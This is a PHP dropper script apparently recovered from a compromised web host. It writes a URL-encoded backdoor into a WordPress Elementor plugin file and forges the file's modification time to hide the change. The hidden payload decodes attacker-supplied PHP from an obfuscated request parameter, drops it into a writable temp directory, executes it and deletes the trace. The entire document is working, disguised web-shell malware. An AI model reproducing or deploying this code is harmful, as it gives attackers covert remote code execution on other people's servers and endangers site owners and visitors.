File: //dev/shm/.dat
<?php $p = "/home/shanfuld/haida-tyres.com/wp-content/plugins/elementor/app/modules/import-export/runners/export/plugins.content.php"; $c = rawurldecode('%3C%3Fphp%0A%0Aif%28%21empty%28%24_REQUEST%5B%22%5Cx70%5Cx6F%5Cx69%5Cx6Eter%22%5D%29%29%7B%0A%09%24data_chunk%20%3D%20array_filter%28%5B%22/tmp%22%2C%20session_save_path%28%29%2C%20getenv%28%22TEMP%22%29%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20%22/var/tmp%22%2C%20%22/dev/shm%22%2C%20sys_get_temp_dir%28%29%2C%20getenv%28%22TMP%22%29%2C%20getcwd%28%29%5D%29%3B%0A%09%24dchunk%20%3D%20%24_REQUEST%5B%22%5Cx70%5Cx6F%5Cx69%5Cx6Eter%22%5D%3B%0A%09%24dchunk%20%3D%09%09explode%20%20%09%28%20%22.%22%20%2C%09%20%09%24dchunk%29%09%20%09%3B%09%20%20%0A%09%24key%20%3D%20%27%27%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24s%20%3D%20%27abcdefghijklmnopqrstuvwxyz0123456789%27%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24lenS%20%3D%20strlen%28%24s%29%3B%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20foreach%20%28%24dchunk%20as%20%24z%3D%3E%09%24v1%29%20%7B%20%24chS%20%3D%20ord%28%24s%5B%24z%20%25%20%24lenS%5D%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24d%20%3D%20%28%28int%29%24v1%20-%20%24chS%20-%20%28%24z%20%25%2010%29%29%20%5E%2077%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24key%20.%3D%20chr%28%24d%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%09for%20%28%24bind%20%3D%200%2C%20%24sym%20%3D%20count%28%24data_chunk%29%3B%20%24bind%20%3C%20%24sym%3B%20%24bind%2B%2B%29%20%7B%0A%20%20%20%20%24ref%20%3D%20%24data_chunk%5B%24bind%5D%3B%0A%20%20%20%20%09%09if%20%28%28function%28%24d%29%20%7B%20return%20is_dir%28%24d%29%20%26%26%20is_writable%28%24d%29%3B%20%7D%29%28%24ref%29%29%20%7B%0A%20%20%20%20%24object%20%3D%20%22%24ref%22%20.%20%22/.ent%22%3B%0A%20%20%20%20if%20%28%40file_put_contents%28%24object%2C%20%24key%29%20%21%3D%3D%20false%29%20%7B%0A%09include%20%24object%3B%0A%09unlink%28%24object%29%3B%0A%09die%28%29%3B%0A%7D%0A%7D%0A%7D%0A%7D'); if (file_put_contents($p, $c)) { echo '!success!'; @touch($p, 1682263366); } die('!ended!');